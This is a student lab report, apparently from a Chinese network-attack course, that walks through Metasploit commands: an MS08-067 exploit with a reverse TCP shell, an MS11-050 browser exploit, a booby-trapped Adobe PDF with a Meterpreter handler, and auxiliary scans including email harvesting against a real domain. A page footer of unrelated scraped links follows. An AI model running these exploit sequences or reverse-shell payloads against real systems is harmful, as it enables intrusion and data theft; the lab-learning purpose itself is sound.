20155333 《网络对抗》 Exp5 MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode

  • exploit:攻击手段,是能使攻击武器(payload)的方法;
  • payload:攻击武器,真正具有攻击性的代码;
  • encode:编码方式,根据payload将要被放置的环境选择合适的编码方式,使它能够正常的运行。

实践

一个主动攻击实践,如ms08_067

①攻击机:kali ②靶机:windows XP SP3(English)

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use exploit/windows/smb/ms08_067_netapi//使用ms08_067漏洞,use后其实是漏洞所在目录路径名

msf exploit(ms08_067_netapi) > show payloads//显示回连攻击载荷

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连

msf exploit(ms08_067_netapi) > set LHOST 192.168.43.146 //攻击机ip

msf exploit(ms08_067_netapi) > set LPORT 5333 //攻击端口

msf exploit(ms08_067_netapi) > set RHOST 192.168.43.18 //靶机ip,特定漏洞端口已经固定

msf exploit(ms08_067_netapi) > set target 0//自动选择目标系统类型,匹配度较高

msf exploit(ms08_067_netapi) > exploit //攻击

建立会话,攻击成功结果如下:

一个针对浏览器的攻击,如ms11_050

①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.43.146 //攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5333 //攻击端口固定

msf exploit(ms11_050_cobjectelement) > set URIPATH 5333rh123 //统一资源标识符路径设置

msf exploit(ms11_050_cobjectelement) > exploit

在浏览器输入http://192.168.43.146:8080/5333rh123,IE出现数据执行保护弹窗和警告弹窗,遇到问题需关闭程序:

修改Internet的安全设置后仍旧失败了!

一个针对客户端的攻击,如Adobe

①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3

在攻击机kali输入msfconsole进入控制台,依次输入以下指令:

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.199.170 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5333 //攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20155333.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit//攻击

成功生成20155333.pdf:

将pdf文件传送或拷贝到靶机上后,在kali上输入back退出当前模块,进入监听模块,输入以下命令:

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 192.168.199.170 //攻击机ip

msf exploit(handler) > set LPORT 5333 //攻击端口固定

msf exploit(handler) > exploit

然后在靶机上打开20155333.pdf文件

连接失败 ,大概是因为我下载的是Abode Reader XI,已经没有漏洞了。

成功应用任何一个辅助模块

可以使用命令msf > show auxiliary查看所有的辅助模块:
一、扫描端口

msf > use auxiliary/scanner/portscan/syn//使用portscan模块

msf auxiliary(syn) > show options

msf auxiliary(syn) > set RHOSTS 192.168.199.140//目标

msf auxiliary(syn) > set THREADS 50//线程

msf auxiliary(syn) > exploit

二、ssh服务器扫描

msf > use auxiliary/scanner/ssh/ssh_version //使用ssh_version模块

msf auxiliary(ssh_version) > show options //查看选项

msf auxiliary(ssh_version) > set RHOSTS 10.107.100.0/24//目标网段

msf auxiliary(ssh_version) > set THREADS 50//线程

msf auxiliary(ssh_version) > exploit
三、telnet服务器扫描

msf > use auxiliary/scanner/telnet/telnet_version //使用telnet_version模块

msf auxiliary(telnet_version) > show options //查看选项

msf auxiliary(telnet_version) > set RHOSTS 10.180.100.0/24//目标网段

msf auxiliary(telnet_version) > set THREADS 50//线程

msf auxiliary(telnet_version) > exploit

四、搜索网站中的Email地址

msf > use auxiliary/gather/search_email_collector //使用search_email_collector模块

msf auxiliary(search_email_collector) > show options//查看选项

msf auxiliary(search_email_collector) > set DOMAIN baidu.com//扫描目标

msf auxiliary(search_email_collector) > exploit

五、扫描局域网有多少主机存活

msf > use auxiliary/scanner/discovery/arp_sweep //使用discovery/arp_sweep模块

msf auxiliary(arp_sweep) > show options //查看选项

msf auxiliary(arp_sweep) > set RHOSTS 10.180.100.0/24//目标网段

msf auxiliary(arp_sweep) > set THREADS 50//线程

msf auxiliary(arp_sweep) > exploit

尝试利用ms11_006_createsizeddibsection漏洞进行攻击

实验总结与体会

这次实验的过程可以说是很艰难了,即使参考了学长和其他同学的博客,依旧没能成功做完所有实践,希望能够改进吧。

20155333 《网络对抗》 Exp5 MSF基础应用的更多相关文章

  1. 2018-2019 20165237网络对抗 Exp5 MSF基础应用

    2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...

  2. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  3. 2018-2019 20165235 网络对抗 Exp5 MSF基础

    2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...

  4. 2018-2019 20165220 网络对抗 Exp5 MSF基础

    实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如ms11_050:(1分) 1.3 一个针对客户端的攻击,如Adobe:(1分) 1.4 成功应用任何 ...

  5. 2018-2019 20165219 网络对抗 Exp5 MSF基础

    实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如ms ...

  6. 20145338 《网络对抗》 MSF基础应用

    20145338<网络对抗> MSF基础应用 实验内容 ·掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路. 具体需要完成(1)一个主动攻击;(2)一个针对浏览器的攻击 ...

  7. 20145308 《网络对抗》 MSF基础应用 学习总结

    20145308 <网络对抗> MSF基础应用 学习总结 实验内容 掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路.具体需要完成(1)一个主动攻击,如ms08_067 ...

  8. 20145326蔡馨熤《网络对抗》——MSF基础应用

    20145326蔡馨熤<网络对抗>——MSF基础应用 实验后回答问题 用自己的话解释什么是exploit,payload,encode. exploit:起运输的作用,将数据传输到对方主机 ...

  9. 20155218《网络对抗》MSF基础应用

    20155218<网络对抗>MSF基础应用 实验过程 1.一个主动攻击实践,如ms08_067; 首先使用 search ms08_067查询一下该漏洞: show target 查看可以 ...

  10. 20155304《网络对抗》MSF基础应用

    20155304<网络对抗>MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如ms08_ ...

随机推荐

  1. 在Silverlight中动态绑定页面报表(PageReport)的数据源

    ActiveReports 7中引入了一种新的报表模型——PageReport(页面布局报表),这种报表模型又细分了两种具体显示形式: o    固定页面布局报表模型(FPL)是ActiveRepor ...

  2. 2018-10-19 00:13:35 ArrayList

    获取集合元素的长度用的是size方法. 传入Object类型的值,返回boolean值的remove方法,含义是判断是否删除成功. 传入索引值的remove方法,返回的是被删除的元素. 修改值得set ...

  3. mysql InnoDB引擎索引超过长度限制

    组合索引长度之和大于 767 bytes并无影响,当有某个字段定义长度大于 767 bytes(1000*3)时,仅产生告警,但不影响创建,超长字段会取前 255 字符作为前缀索引,并且组合索引中字段 ...

  4. MySQL innodb中各种SQL语句加锁分析

    概要 Locking read( SELECT ... FOR UPDATE or SELECT ... LOCK IN SHARE MODE),UPDATE以及DELETE语句通常会在他扫描的索引所 ...

  5. python os模块 遍历目录

    #os #os ->tree命令 import os #递归 #目录 ->文件,文件夹 -> 文件文件夹 dirpath = input('请输入你要遍历的目录\n') def ge ...

  6. MySQL面试之说明myisam和innodb两种存储引擎的不同之处

    1.事务的支持不同(innodb支持事务,myisam不支持事务) 2.锁粒度(innodb行锁应用,myisam表锁) 3.存储空间(innodb既缓存索引文件又缓存数据文件,myisam只能缓存索 ...

  7. November 08th, 2017 Week 45th Wednesday

    Keep your face to the sunshine and you cannot see the shadow. 始终面朝阳光,我们就不会看到黑暗. I love sunshine, but ...

  8. Springboot整合log4j2日志全解

    目录 常用日志框架 日志门面slf4j 为什么选用log4j2 整合步骤 引入Jar包 配置文件 配置文件模版 配置参数简介 Log4j2配置详解 简单使用 使用lombok工具简化创建Logger类 ...

  9. [python] 私有变量和私有方法

    1.在Python中要想定义的方法或者变量只在类内部使用不被外部调用,可以在方法和变量前面加 两个 下划线 #-*- coding:utf-8 -*- class A(object): name = ...

  10. 配置好jdk后,cmd编写java -version还是报找不到jdk

    找了好长时间没查出问题在哪,配置的都没有问题,最后搜了搜网上发现,jdk的这两行得在最上面才行.